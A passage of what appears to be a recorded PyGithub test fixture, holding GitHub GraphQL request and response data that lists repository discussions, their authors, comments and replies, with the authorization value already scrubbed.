tars.githubusercontent.com/u/834530?u=3db7c72ccc43037dea774902429622d042b004c2&v=4","url":"https://github.com/jackfurr"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"How to Revert a Merged PR","createdAt":"2022-02-16T06:43:19Z","comments":{"totalCount":2,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wNi0yMVQyMTowNToyNyswMjowMM4ALblT","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNC0yN1QxODo0MTo0OCswMjowMM4AV6p6","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4ALblT","url":"https://github.com/PyGithub/PyGithub/discussions/2177#discussioncomment-2996563","createdAt":"2022-06-21T19:05:27Z","author":{"login":"bassil-overjet","avatarUrl":"https://avatars.githubusercontent.com/u/93599031?v=4","url":"https://github.com/bassil-overjet"},"isAnswer":false,"replies":{"totalCount":3,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAC292g==","endCursor":"Y3Vyc29yOnYyOpHOADUmKg==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4ALb3a","url":"https://github.com/PyGithub/PyGithub/discussions/2177#discussioncomment-2997722","createdAt":"2022-06-21T23:09:02Z","author":{"login":"jackfurr","avatarUrl":"https://avatars.githubusercontent.com/u/834530?u=3db7c72ccc43037dea774902429622d042b004c2&v=4","url":"https://github.com/jackfurr"}},{"id":"DC_kwDOADYVqs4ANRJq","url":"https://github.com/PyGithub/PyGithub/discussions/2177#discussioncomment-3478122","createdAt":"2022-08-25T20:12:29Z","author":{"login":"ltagliamonte-dd","avatarUrl":"https://avatars.githubusercontent.com/u/51684360?u=8dcdeab05f1b5bbfdf9d50e4087cf52b317a2090&v=4","url":"https://github.com/ltagliamonte-dd"}},{"id":"DC_kwDOADYVqs4ANSYq","url":"https://github.com/PyGithub/PyGithub/discussions/2177#discussioncomment-3483178","createdAt":"2022-08-26T12:34:35Z","author":{"login":"bassil-overjet","avatarUrl":"https://avatars.githubusercontent.com/u/93599031?v=4","url":"https://github.com/bassil-overjet"}}]}},{"id":"DC_kwDOADYVqs4AV6p6","url":"https://github.com/PyGithub/PyGithub/discussions/2177#discussioncomment-5745274","createdAt":"2023-04-27T16:41:48Z","author":{"login":"msummers42","avatarUrl":"https://avatars.githubusercontent.com/u/8331623?u=24ee96f0f3fd2a6ccc6a89d67c7b1b18dd87a0bc&v=4","url":"https://github.com/msummers42"},"isAnswer":false,"replies":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAFes_w==","endCursor":"Y3Vyc29yOnYyOpHOAFes_w==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AV6z_","url":"https://github.com/PyGithub/PyGithub/discussions/2177#discussioncomment-5745919","createdAt":"2023-04-27T17:51:41Z","author":{"login":"ltagliamonte-dd","avatarUrl":"https://avatars.githubusercontent.com/u/51684360?u=8dcdeab05f1b5bbfdf9d50e4087cf52b317a2090&v=4","url":"https://github.com/ltagliamonte-dd"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AS7Mv","url":"https://github.com/PyGithub/PyGithub/discussions/2453","number":2453,"author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Maintainers TODO list","createdAt":"2023-03-14T09:00:16Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQxMDowMzoxMSswMTowMM4AUOIc","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQxMDowMzoxMSswMTowMM4AUOIc","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AUOIc","url":"https://github.com/PyGithub/PyGithub/discussions/2453#discussioncomment-5300764","createdAt":"2023-03-14T09:03:11Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":5,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAFEbFw==","endCursor":"Y3Vyc29yOnYyOpHOAFZ89Q==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AURsX","url":"https://github.com/PyGithub/PyGithub/discussions/2453#discussioncomment-5315351","createdAt":"2023-03-14T22:47:16Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"}},{"id":"DC_kwDOADYVqs4AUWam","url":"https://github.com/PyGithub/PyGithub/discussions/2453#discussioncomment-5334694","createdAt":"2023-03-16T13:42:08Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"}},{"id":"DC_kwDOADYVqs4AVmyk","url":"https://github.com/PyGithub/PyGithub/discussions/2453#discussioncomment-5663908","createdAt":"2023-04-19T16:09:14Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"}},{"id":"DC_kwDOADYVqs4AVm17","url":"https://github.com/PyGithub/PyGithub/discussions/2453#discussioncomment-5664123","createdAt":"2023-04-19T16:28:43Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"}},{"id":"DC_kwDOADYVqs4AVnz1","url":"https://github.com/PyGithub/PyGithub/discussions/2453#discussioncomment-5668085","createdAt":"2023-04-20T01:45:20Z","author":{"login":"s-t-e-v-e-n-k","avatarUrl":"https://avatars.githubusercontent.com/u/15225059?u=a70d4bde1715f244fe491027977198fd6c44ee3a&v=4","url":"https://github.com/s-t-e-v-e-n-k"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4ATdq2","url":"https://github.com/PyGithub/PyGithub/discussions/2500","number":2500,"author":{"login":"c4mmartin","avatarUrl":"https://avatars.githubusercontent.com/u/54123231?u=5b79339526e45edd8ca29d40c7a6e5b17c4dc106&v=4","url":"https://github.com/c4mmartin"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Trying to fire off workflow_dispatch events","createdAt":"2023-04-18T15:36:05Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNC0xOVQyMDozNjoxNSswMjowMM4AVnLE","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wNC0xOVQyMDozNjoxNSswMjowMM4AVnLE","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AVnLE","url":"https://github.com/PyGithub/PyGithub/discussions/2500#discussioncomment-5665476","createdAt":"2023-04-19T18:36:15Z","author":{"login":"c4mmartin","avatarUrl":"https://avatars.githubusercontent.com/u/54123231?u=5b79339526e45edd8ca29d40c7a6e5b17c4dc106&v=4","url":"https://github.com/c4mmartin"},"isAnswer":true,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4ATJZD","url":"https://github.com/PyGithub/PyGithub/discussions/2480","number":2480,"author":{"login":"arunanandhan","avatarUrl":"https://avatars.githubusercontent.com/u/48812131?u=571c345a5994a55100a16b45a9688f5d6d340730&v=4","url":"https://github.com/arunanandhan"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Is there a way to search if a string present in default branch?","createdAt":"2023-03-29T17:06:04Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0yOVQxOTo1NzowMCswMjowMM4AU3Mg","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0yOVQxOTo1NzowMCswMjowMM4AU3Mg","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AU3Mg","url":"https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5468960","createdAt":"2023-03-29T17:57:00Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":5,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpHOAFN1oA==","endCursor":"Y3Vyc29yOnYyOpHOAFOdMA==","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AU3Wg","url":"https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5469600","createdAt":"2023-03-29T19:10:46Z","author":{"login":"arunanandhan","avatarUrl":"https://avatars.githubusercontent.com/u/48812131?u=571c345a5994a55100a16b45a9688f5d6d340730&v=4","url":"https://github.com/arunanandhan"}},{"id":"DC_kwDOADYVqs4AU3dA","url":"https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5470016","createdAt":"2023-03-29T19:57:41Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"}},{"id":"DC_kwDOADYVqs4AU3qO","url":"https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5470862","createdAt":"2023-03-29T21:58:05Z","author":{"login":"arunanandhan","avatarUrl":"https://avatars.githubusercontent.com/u/48812131?u=571c345a5994a55100a16b45a9688f5d6d340730&v=4","url":"https://github.com/arunanandhan"}},{"id":"DC_kwDOADYVqs4AU5F2","url":"https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5476726","createdAt":"2023-03-30T11:41:28Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"}},{"id":"DC_kwDOADYVqs4AU50w","url":"https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5479728","createdAt":"2023-03-30T16:18:48Z","author":{"login":"arunanandhan","avatarUrl":"https://avatars.githubusercontent.com/u/48812131?u=571c345a5994a55100a16b45a9688f5d6d340730&v=4","url":"https://github.com/arunanandhan"}}]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4AQ6mO","url":"https://github.com/PyGithub/PyGithub/discussions/2321","number":2321,"author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Prioritising pull requests","createdAt":"2022-09-30T06:38:02Z","comments":{"totalCount":4,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMi0wOS0zMFQwODozOToxMyswMjowMM4AOYPD","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQwOTozNjoxOSswMTowMM4AUOEW","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4AOYPD","url":"https://github.com/PyGithub/PyGithub/discussions/2321#discussioncomment-3769283","createdAt":"2022-09-30T06:39:13Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"DC_kwDOADYVqs4AOYPF","url":"https://github.com/PyGithub/PyGithub/discussions/2321#discussioncomment-3769285","createdAt":"2022-09-30T06:39:52Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"DC_kwDOADYVqs4AOYez","url":"https://github.com/PyGithub/PyGithub/discussions/2321#discussioncomment-3770291","createdAt":"2022-09-30T08:37:50Z","author":{"login":"lelegard","avatarUrl":"https://avatars.githubusercontent.com/u/5641922?u=da8392cec1bcf653bded9a1a0f6bfe8b6430436f&v=4","url":"https://github.com/lelegard"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"DC_kwDOADYVqs4AUOEW","url":"https://github.com/PyGithub/PyGithub/discussions/2321#discussioncomment-5300502","createdAt":"2023-03-14T08:36:19Z","author":{"login":"EnricoMi","avatarUrl":"https://avatars.githubusercontent.com/u/44700269?u=b590c465fef066bba6e61b88133e44896e6f5d51&v=4","url":"https://github.com/EnricoMi"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]}}}} https POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($repo: String!, $owner: String!, $answered: Boolean, $category_id: ID, $states: [DiscussionState!], $first: Int, $last: Int, $before: String, $after: String) {\n repository(name: $repo, owner: $owner) {\n discussions(answered: $answered, categoryId: $category_id, states: $states, first: $first, last: $last, before: $before, after: $after) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n number\n author {\n login\n avatarUrl\n url\n }\n repository {\n owner { login }\n name\n issues(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n databaseId\n id\n number\n title\n }\n }\n }\n title\n createdAt\n comments(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n createdAt\n author {\n login\n avatarUrl\n url\n }\n isAnswer\n replies(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n url\n createdAt\n author {\n login\n avatarUrl\n url\n }\n }\n }\n }\n }\n labels(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n id\n name\n issues(first: 10) {\n totalCount\n pageInfo {\n startCursor\n endCursor\n hasNextPage\n hasPreviousPage\n }\n nodes {\n databaseId\n id\n number\n title\n }\n }\n }\n }\n }\n }\n }\n }\n ", "variables": {"repo": "PyGithub", "owner": "PyGithub", "answered": null, "category_id": null, "states": null, "first": 30, "after": "Y3Vyc29yOnYyOpK5MjAyMy0wMy0xNFQwOTozNjoxOSswMTowMM4AQ6mO"}} 200 [('Date', 'Tue, 17 Sep 2024 11:00:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4888'), ('X-RateLimit-Reset', '1726571100'), ('X-RateLimit-Used', '112'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FA8:3299B4:11B2AC:11DC37:66E9613C')] {"data":{"repository":{"discussions":{"totalCount":65,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNlQxMzoyODo1MiswMTowMM4ASrYx","endCursor":"Y3Vyc29yOnYyOpK5MjAyMS0wNS0wMVQwNTozMzoxMCswMjowMM4AMwlT","hasNextPage":true,"hasPreviousPage":true},"nodes":[{"id":"D_kwDOADYVqs4ASrYx","url":"https://github.com/PyGithub/PyGithub/discussions/2438","number":2438,"author":{"login":"Vuizur","avatarUrl":"https://avatars.githubusercontent.com/u/29223849?v=4","url":"https://github.com/Vuizur"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several files"}]}},"title":"Uploading multiple assets to a release","createdAt":"2023-02-25T09:14:11Z","comments":{"totalCount":1,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNlQxMzoyODo1MiswMTowMM4ATghk","endCursor":"Y3Vyc29yOnYyOpK5MjAyMy0wMi0yNlQxMzoyODo1MiswMTowMM4ATghk","hasNextPage":false,"hasPreviousPage":false},"nodes":[{"id":"DC_kwDOADYVqs4ATghk","url":"https://github.com/PyGithub/PyGithub/discussions/2438#discussioncomment-5113956","createdAt":"2023-02-26T12:28:52Z","author":{"login":"Vuizur","avatarUrl":"https://avatars.githubusercontent.com/u/29223849?v=4","url":"https://github.com/Vuizur"},"isAnswer":false,"replies":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}}]},"labels":{"totalCount":0,"pageInfo":{"startCursor":null,"endCursor":null,"hasNextPage":false,"hasPreviousPage":false},"nodes":[]}},{"id":"D_kwDOADYVqs4ARkEV","url":"https://github.com/PyGithub/PyGithub/discussions/2368","number":2368,"author":{"login":"songyuc","avatarUrl":"https://avatars.githubusercontent.com/u/27288110?v=4","url":"https://github.com/songyuc"},"repository":{"owner":{"login":"PyGithub"},"name":"PyGithub","issues":{"totalCount":1599,"pageInfo":{"startCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMi0yN1QxMDoxMToxNCswMTowMM4AM9hL","endCursor":"Y3Vyc29yOnYyOpK5MjAxMi0wMy0xMlQyMzowODowNiswMTowMM4ANz0k","hasNextPage":true,"hasPreviousPage":false},"nodes":[{"databaseId":3397707,"id":"MDU6SXNzdWUzMzk3NzA3","number":1,"title":"Gitub -> Github everywhere"},{"databaseId":3527231,"id":"MDU6SXNzdWUzNTI3MjMx","number":2,"title":"Use objects instead of string for shas, ids, etc. arguments"},{"databaseId":3527245,"id":"MDU6SXNzdWUzNTI3MjQ1","number":3,"title":"Deduce mandatory parameters"},{"databaseId":3527266,"id":"MDU6SXNzdWUzNTI3MjY2","number":4,"title":"Review public interface homogeneity "},{"databaseId":3561926,"id":"MDU6SXNzdWUzNTYxOTI2","number":5,"title":"Implement full API"},{"databaseId":3617711,"id":"MDU6SXNzdWUzNjE3NzEx","number":6,"title":"Review exceptions policy when receiving error HTTP status"},{"databaseId":3618829,"id":"MDU6SXNzdWUzNjE4ODI5","number":7,"title":"Publish version 0.4"},{"databaseId":3619658,"id":"MDU6SXNzdWUzNjE5NjU4","number":8,"title":"Publish version 0.5"},{"databaseId":3619973,"id":"MDU6SXNzdWUzNjE5OTcz","number":9,"title":"Publish version 1.0"},{"databaseId":3620132,"id":"MDU6SXNzdWUzNjIwMTMy","number":10,"title":"Separate GithubObjects.py in several 